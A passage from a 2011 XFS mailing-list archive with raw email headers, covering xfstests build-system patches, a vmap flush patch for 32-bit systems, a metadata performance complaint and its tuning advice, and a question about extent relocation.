References: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> <20110310172943.GD13390@infradead.org> Content-Type: text/plain; charset="UTF-8" Date: Thu, 10 Mar 2011 16:33:56 -0600 Message-ID: <1299796436.10040.0.camel@doink> Mime-Version: 1.0 X-Mailer: Evolution 2.30.3 Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 10 Mar 2011 22:33:56.0977 (UTC) FILETIME=[3E4EB610:01CBDF73] X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, 2011-03-10 at 12:29 -0500, Christoph Hellwig wrote: > > LIB_SUBDIRS = include lib > > TOOL_SUBDIRS = ltp src m4 > > +ifeq ($(HAVE_DMAPI), true) > > +TOOL_SUBDIRS += dmapi > > +endif > > Does this work with the way we generate source tarballs on make dist? > In xfsprogs we have special variables for source files that don't get > build. > > > @@ -0,0 +1,30 @@ > > +# > > +# Copyright (c) 2011 SGI All Rights Reserved. > > +# > > I think a license would be more useful than all rights reserved here. > > Except for that the patch looks sane to me, and having a consistent > build system is a good thing. Here's the text I'm using, FYI. # # Copyright (C) 2011 SGI All Rights Reserved. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # From david@fromorbit.com Thu Mar 10 16:47:15 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2AMl9tp126237 for ; Thu, 10 Mar 2011 16:47:15 -0600 X-ASG-Debug-ID: 1299797388-72ed012f0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 701381363CC2 for ; Thu, 10 Mar 2011 14:49:49 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id xEFcuBXo8LSwXwDG for ; Thu, 10 Mar 2011 14:49:49 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtcEAFrheE15LK5JgWdsb2JhbACmMhUBARYmJbMvjh4NhVUE Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2011 09:19:47 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pxofx-0005D7-TD; Fri, 11 Mar 2011 09:49:45 +1100 Date: Fri, 11 Mar 2011 09:49:45 +1100 From: Dave Chinner To: Christoph Hellwig Cc: xfs@oss.sgi.com, npiggin@kernel.dk, linux-mm@kvack.org X-ASG-Orig-Subj: Re: [PATCH] xfs: flush vmap aliases when mapping fails Subject: Re: [PATCH] xfs: flush vmap aliases when mapping fails Message-ID: <20110310224945.GA15097@dastard> References: <1299713876-7747-1-git-send-email-david@fromorbit.com> <20110310073751.GB25374@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20110310073751.GB25374@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299797400 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57613 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 02:37:51AM -0500, Christoph Hellwig wrote: > On Thu, Mar 10, 2011 at 10:37:56AM +1100, Dave Chinner wrote: > > From: Dave Chinner > > > > On 32 bit systems, vmalloc space is limited and XFS can chew through > > it quickly as the vmalloc space is lazily freed. This can result in > > failure to map buffers, even when there is apparently large amounts > > of vmalloc space available. Hence, if we fail to map a buffer, purge > > the aliases that have not yet been freed to hopefuly free up enough > > vmalloc space to allow a retry to succeed. > > IMHO this should be done by vm_map_ram internally. If we can't get the > core code fixes we can put this in as a last resort. OK. The patch was done as part of the triage for this bug: https://bugzilla.kernel.org/show_bug.cgi?id=27492 where the vmalloc space on 32 bit systems is getting exhausted. I can easily move this flush-and-retry into the vmap code. FWIW, while the VM folk might be paying attention about vmap realted stuff, this vmap BUG() also needs triage: https://bugzilla.kernel.org/show_bug.cgi?id=27002 And, finally, the mm-vmap-area-cache.patch in the current mmotm also needs to be pushed forward because we've been getting reports of excessive CPU time being spent walking the vmap area rbtree during vm_map_ram operations and this patch supposedly fixes that problem.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Thu Mar 10 19:07:53 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2B17mbf131138 for ; Thu, 10 Mar 2011 19:07:53 -0600 X-ASG-Debug-ID: 1299805827-2b98001c0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from ipmail06.adl6.internode.on.net (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 5536433B0E4 for ; Thu, 10 Mar 2011 17:10:27 -0800 (PST) Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id 9qB3OuCxJxXKWcF5 for ; Thu, 10 Mar 2011 17:10:27 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AtcEAL4EeU15LK5JgWdsb2JhbACmNBUBARYmJcFGDYVVBA Received: from ppp121-44-174-73.lns20.syd7.internode.on.net (HELO dastard) ([121.44.174.73]) by ipmail06.adl6.internode.on.net with ESMTP; 11 Mar 2011 11:40:26 +1030 Received: from dave by dastard with local (Exim 4.72) (envelope-from ) id 1Pxqs5-0005Tc-1r; Fri, 11 Mar 2011 12:10:25 +1100 Date: Fri, 11 Mar 2011 12:10:24 +1100 From: Dave Chinner To: Jan Engelhardt Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Many-metadata performance still at a loss Subject: Re: Many-metadata performance still at a loss Message-ID: <20110311011024.GB15097@dastard> References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.20 (2009-06-14) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1299805839 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57618 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 03:14:34PM +0100, Jan Engelhardt wrote: > Hi, > > > Between 2.6.33 and 2.6.37 there was a lot of interesting announcements > with regards to XFS performance. However, now that I booted into > 2.6.37.2, I still see the metadata slowness from earlier. > (Basically `time (tar -xf linux-2.6.37.tar.gz; sync)` - ext4 gets the > job done in like 15-20 seconds, xfs is still syncing after 11 minutes.) > > Was there something I missed? > > # xfs_info / > meta-data=/dev/md3 isize=256 agcount=32, > agsize=11429117 blks > = sectsz=512 attr=2 > data = bsize=4096 blocks=365731739, > imaxpct=5 > = sunit=0 swidth=0 blks > naming =version 2 bsize=4096 ascii-ci=0 > log =internal bsize=4096 blocks=32768, version=2 > = sectsz=512 sunit=0 blks, lazy-count=0 ^^^^^^^^^^^^ > realtime =none extsz=4096 blocks=0, rtextents=0 You're using an old mkfs? At minimum, this should have lazy-count=1. I'm also wondering about the fact this is a MD device but there is no sunit/swidth set, and the agcount of 32 is not a default value, either. Seems like you handrolled your mkfs parameters - it is better to just use the defaults a recent mkfs sets.... Further - what is your storage configuration (e.g. what type of MD raid are you using) and is the filesystem correctly aligned to the storage? If you get these wrong, then nothing else you do will improve performance. What are your mount options - perhaps you've missed the fact that the new functionality requires the "delaylog" mount option to be added. Mind you, that is not a magic bullet - if the operation is single threaded and CPU bound, delaylog makes no difference to performance, and with lazy-count=0 then the superblock will still be a major contention point and probably nullify any improvement delaylog could provide.. Cheers, Dave. -- Dave Chinner david@fromorbit.com From jengelh@medozas.de Thu Mar 10 19:53:21 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.8 required=5.0 tests=BAYES_00,J_CHICKENPOX_28 autolearn=no version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2B1rFuS132703 for ; Thu, 10 Mar 2011 19:53:21 -0600 X-ASG-Debug-ID: 1299808566-16ac02c30000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from borg.medozas.de (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with SMTP id 13FE733B948 for ; Thu, 10 Mar 2011 17:56:06 -0800 (PST) Received: from borg.medozas.de (borg.medozas.de [188.40.89.202]) by cuda.sgi.com with SMTP id TdqB0YaXGGX5IsyV for ; Thu, 10 Mar 2011 17:56:06 -0800 (PST) Received: by borg.medozas.de (Postfix, from userid 25121) id C1F5DF0C32AB1; Fri, 11 Mar 2011 02:56:05 +0100 (CET) Received: from localhost (localhost [127.0.0.1]) by borg.medozas.de (Postfix) with ESMTP id B94D47D4A; Fri, 11 Mar 2011 02:56:05 +0100 (CET) Date: Fri, 11 Mar 2011 02:56:05 +0100 (CET) From: Jan Engelhardt To: Dave Chinner cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Many-metadata performance still at a loss Subject: Re: Many-metadata performance still at a loss In-Reply-To: <20110311011024.GB15097@dastard> Message-ID: References: <20110311011024.GB15097@dastard> User-Agent: Alpine 2.01 (LNX 1266 2009-07-14) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: borg.medozas.de[188.40.89.202] X-Barracuda-Start-Time: 1299808567 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0000 1.0000 -2.0210 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests=BSF_SC5_SA210e X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57619 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC5_SA210e Custom Rule SA210e X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Friday 2011-03-11 02:10, Dave Chinner wrote: >On Thu, Mar 10, 2011 at 03:14:34PM +0100, Jan Engelhardt wrote: >> >> Was there something I missed? >> >> # xfs_info / >> meta-data=/dev/md3 isize=256 agcount=32, >> agsize=11429117 blks >> = sectsz=512 attr=2 >> data = bsize=4096 blocks=365731739, >> imaxpct=5 >> = sunit=0 swidth=0 blks >> naming =version 2 bsize=4096 ascii-ci=0 >> log =internal bsize=4096 blocks=32768, version=2 >> = sectsz=512 sunit=0 blks, lazy-count=0 > ^^^^^^^^^^^^ >> realtime =none extsz=4096 blocks=0, rtextents=0 > >You're using an old mkfs? As mentioned, this is a preexisting fs. This was created in August 2009 using xfsprogs 2.10.1. >At minimum, this should have lazy-count=1. >I'm also wondering about the fact this is a MD device but there is >no sunit/swidth set, >Further - what is your storage configuration (e.g. what type of MD >raid are you using) and is the filesystem correctly aligned to the >storage? If you get these wrong, then nothing else you do will >improve performance. mdraid1 over two dumb SATA disks. >and the agcount of 32 is not a default value, Right. xfsprogs had just switched from agcount=16 to agcount=4 for its default value, which at that time seemed a little uncomforting, given disks grow in size. So as much as I can recall, I only set the agcount manually to 32 (1.5T/32=46G) for when I once (like, 2007 or so) created an xfs it used 16 (250G/16=15G). >What are your mount options - perhaps you've missed the fact that >the new functionality requires the "delaylog" mount option to be >added. Per /proc/mounts: /dev/md3 / xfs rw,relatime,attr2,nobarrier,noquota 0 0 >Mind you, that is not a magic bullet - if the operation is >single threaded and CPU bound, delaylog makes no difference to >performance, and with lazy-count=0 then the superblock will still be >a major contention point and probably nullify any improvement >delaylog could provide.. The question is.. is the writeout single-threaded? Judging from there being only one xfs thread per block device, that may seem to hold. From swanson@cs.ucsd.edu Fri Mar 11 01:52:37 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2B7qVLS147994 for ; Fri, 11 Mar 2011 01:52:37 -0600 X-ASG-Debug-ID: 1299830122-1fe403a90000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from iport-c2-out.ucsd.edu (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id C5E221215811 for ; Thu, 10 Mar 2011 23:55:22 -0800 (PST) Received: from iport-c2-out.ucsd.edu (iport-c2-out.ucsd.edu [132.239.0.119]) by cuda.sgi.com with ESMTP id RjZQEx26fvB59QVI for ; Thu, 10 Mar 2011 23:55:22 -0800 (PST) X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvMGAKtjeU2E7zNQ/2dsb2JhbACZIY4LuCWIa4ViBIUpim8a X-IronPort-AV: E=Sophos;i="4.62,302,1297065600"; d="scan'208";a="455400864" Received: from csesmtp2.ucsd.edu (HELO cse-smtp.ucsd.edu) ([132.239.51.80]) by iport-c2-out.ucsd.edu with ESMTP/TLS/ADH-AES256-SHA; 10 Mar 2011 23:55:22 -0800 Received: from [128.54.20.156] (unknown [128.54.20.156]) (using TLSv1 with cipher AES128-SHA (128/128 bits)) (No client certificate requested) by cse-smtp.ucsd.edu (Postfix) with ESMTP id ECE5250047 for ; Thu, 10 Mar 2011 23:55:21 -0800 (PST) From: Steven Swanson Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: quoted-printable X-ASG-Orig-Subj: Does XFS ever relocate extents after they are on disk? Subject: Does XFS ever relocate extents after they are on disk? Date: Thu, 10 Mar 2011 23:55:21 -0800 Message-Id: <903E14DC-D9EA-4BDC-8D43-FBB9AB4127BC@cs.ucsd.edu> To: xfs@oss.sgi.com Mime-Version: 1.0 (Apple Message framework v1082) X-Mailer: Apple Mail (2.1082) X-Barracuda-Connect: iport-c2-out.ucsd.edu[132.239.0.119] X-Barracuda-Start-Time: 1299830122 X-Barracuda-Bayes: INNOCENT GLOBAL 0.0007 1.0000 -2.0163 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Barracuda-Spam-Score: -2.02 X-Barracuda-Spam-Status: No, SCORE=-2.02 using per-user scores of TAG_LEVEL=2.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.1 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.57621 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean I have simple question that I'm having trouble finding a concrete answer = for: Does XFS ever relocate a file or one of its extents once it's been = written to disk? For instance, does the file system ever decide to = reorganize extents to reduce fragmentation. I've read through all the documentation I can find, and everything = points to using an external de-fragmentation tool, which suggests that = XFS won't do it autonomously, but for the project we are working on it = would be useful to know for certain when and under what conditions XFS = might decide to move an extent that's already been written. Thanks! -steve From BATV+a14f2a79c63cbaaa49f5+2756+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 11 04:07:08 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BA6tmb154533 for ; Fri, 11 Mar 2011 04:07:08 -0600 X-ASG-Debug-ID: 1299838176-01b402020000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9BA4533B774 for ; Fri, 11 Mar 2011 02:09:37 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id 1WKpELX6v7BVEZBv for ; Fri, 11 Mar 2011 02:09:37 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxzHs-0003Kg-5y; Fri, 11 Mar 2011 10:09:36 +0000 Date: Fri, 11 Mar 2011 05:09:36 -0500 From: Christoph Hellwig To: Steven Swanson Cc: xfs@oss.sgi.com X-ASG-Orig-Subj: Re: Does XFS ever relocate extents after they are on disk? Subject: Re: Does XFS ever relocate extents after they are on disk? Message-ID: <20110311100936.GA11879@infradead.org> References: <903E14DC-D9EA-4BDC-8D43-FBB9AB4127BC@cs.ucsd.edu> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <903E14DC-D9EA-4BDC-8D43-FBB9AB4127BC@cs.ucsd.edu> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299838187 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 11:55:21PM -0800, Steven Swanson wrote: > I have simple question that I'm having trouble finding a concrete answer for: > > Does XFS ever relocate a file or one of its extents once it's been written to disk? For instance, does the file system ever decide to reorganize extents to reduce fragmentation. > > I've read through all the documentation I can find, and everything points to using an external de-fragmentation tool, which suggests that XFS won't do it autonomously, but for the project we are working on it would be useful to know for certain when and under what conditions XFS might decide to move an extent that's already been written. XFS kernel code will never move the written extents by itself. The xfs_fsr tool can instruct the kernel to move extents by the swapext ioctl, and it can be run through a cron job, although that is usually not required. From BATV+a14f2a79c63cbaaa49f5+2756+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 11 04:07:39 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BA7Tva154558 for ; Fri, 11 Mar 2011 04:07:39 -0600 X-ASG-Debug-ID: 1299838210-4ca0008b0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 19B0D10BB33E; Fri, 11 Mar 2011 02:10:10 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id HiIT2yOIZ9NMjml2; Fri, 11 Mar 2011 02:10:10 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxzIP-000414-FA; Fri, 11 Mar 2011 10:10:09 +0000 Date: Fri, 11 Mar 2011 05:10:09 -0500 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 2/2] xfstests: some refinements on "make depend" Subject: Re: [PATCH 2/2] xfstests: some refinements on "make depend" Message-ID: <20110311101009.GB11879@infradead.org> References: <201103041937.p24Jbfh5004820@stout.americas.sgi.com> <20110310172644.GC13390@infradead.org> <1299794976.2573.72.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299794976.2573.72.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299838221 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 04:09:36PM -0600, Alex Elder wrote: > My intention was to work toward unifying all the user space > stuff, basically in line with what you suggest. > > This is part of a flurry of changes related to the xfstests > dmapi subtree. One of the things I needed to do was populate > a set of new Makefiles there, and I guess in looking into > that I found I didn't like the way the dependencies were done, > and the changes I made to address that ended up in this patch. > > I'll hold off on this patch and will reconsider it once > I get the more substantive dmapi changes in. Feel free to put it in for now as a transition step. Reviewed-by: Christoph Hellwig From BATV+a14f2a79c63cbaaa49f5+2756+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 11 04:07:40 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p2BA7Ube154559 for ; Fri, 11 Mar 2011 04:07:40 -0600 X-ASG-Debug-ID: 1299838221-4fd0005e0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id A976B10C665A; Fri, 11 Mar 2011 02:10:21 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id G2j7H434AIWLGpsU; Fri, 11 Mar 2011 02:10:21 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxzIa-00044t-Um; Fri, 11 Mar 2011 10:10:21 +0000 Date: Fri, 11 Mar 2011 05:10:20 -0500 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH 1/2] xfstests: a few fixes to Makefile Subject: Re: [PATCH 1/2] xfstests: a few fixes to Makefile Message-ID: <20110311101020.GC11879@infradead.org> References: <201103041937.p24JbaaN004813@stout.americas.sgi.com> <20110310172537.GB13390@infradead.org> <1299795366.2573.78.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299795366.2573.78.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299838221 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean On Thu, Mar 10, 2011 at 04:16:06PM -0600, Alex Elder wrote: > On Thu, 2011-03-10 at 12:25 -0500, Christoph Hellwig wrote: > > > +ifeq ($(HAVE_DMAPI), true) > > > # automake doesn't always support "default" target > > > # so do dmapi make explicitly with "all" > > > -ifeq ($(HAVE_DMAPI), true) > > > > What about moving the # signs to the first line so that it never gets > > echoed at all? > > > > Otherwise looks good to me. > > That would work too. A later patch makes the > whole thing go away though, so it's sort of moot. > (And I already committed it after some discussion > with Eric yesterday...) Ok. From BATV+a14f2a79c63cbaaa49f5+2756+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 11 04:08:26 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BA8GiJ154619 for ; Fri, 11 Mar 2011 04:08:26 -0600 X-ASG-Debug-ID: 1299838267-10c800f80000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id 1766333B77C; Fri, 11 Mar 2011 02:11:07 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id zLIGllI1DT3sVFeC; Fri, 11 Mar 2011 02:11:07 -0800 (PST) X-ASG-Whitelist: Client X-ASG-Whitelist: Barracuda Reputation Received: from hch by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux)) id 1PxzJL-00046Q-K0; Fri, 11 Mar 2011 10:11:07 +0000 Date: Fri, 11 Mar 2011 05:11:07 -0500 From: Christoph Hellwig To: Alex Elder Cc: Christoph Hellwig , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism Subject: Re: [PATCH] xfstests: rework "dmapi" subtree build mechanism Message-ID: <20110311101107.GD11879@infradead.org> References: <201103041937.p24Jbk5W004828@stout.americas.sgi.com> <20110310172943.GD13390@infradead.org> <1299795372.2573.79.camel@doink> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1299795372.2573.79.camel@doink> User-Agent: Mutt/1.5.21 (2010-09-15) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: bombadil.infradead.org[18.85.46.34] X-Barracuda-Start-Time: 1299838268 X-Barracuda-Virus-Scanned: by cuda.sgi.com at sgi.com X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean > I'll add a boilerplate GPL statement in these new files. > What I used was simply mimicing what was present in the > other Makefiles. > > In order to avoid re-sending this big patch, may I get > your signoff/reviewed-by on that plan? I haven't looked at every detail, but it looks sane and close enough to the normal build system to me, so: Reviewed-by: Christoph Hellwig From BATV+a14f2a79c63cbaaa49f5+2756+infradead.org+hch@bombadil.srs.infradead.org Fri Mar 11 04:14:03 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with SMTP id p2BADr4s154985 for ; Fri, 11 Mar 2011 04:14:03 -0600 X-ASG-Debug-ID: 1299838604-181f00cd0000-NocioJ X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from bombadil.infradead.org (localhost [127.0.0.1]) by cuda.sgi.com (Spam Firewall) with ESMTP id E3B0D33B7B2 for ; Fri, 11 Mar 2011 02:16:44 -0800 (PST) Received: from bombadil.infradead.org (bombadil.infradead.org [18.85.46.34]) by cuda.sgi.com with ESMTP id iBAZzEgDFKtOiX3u for ; Fri, 11 Mar 2011 02:16:44 -0800 (PST) X-ASG-Whitelist: Client 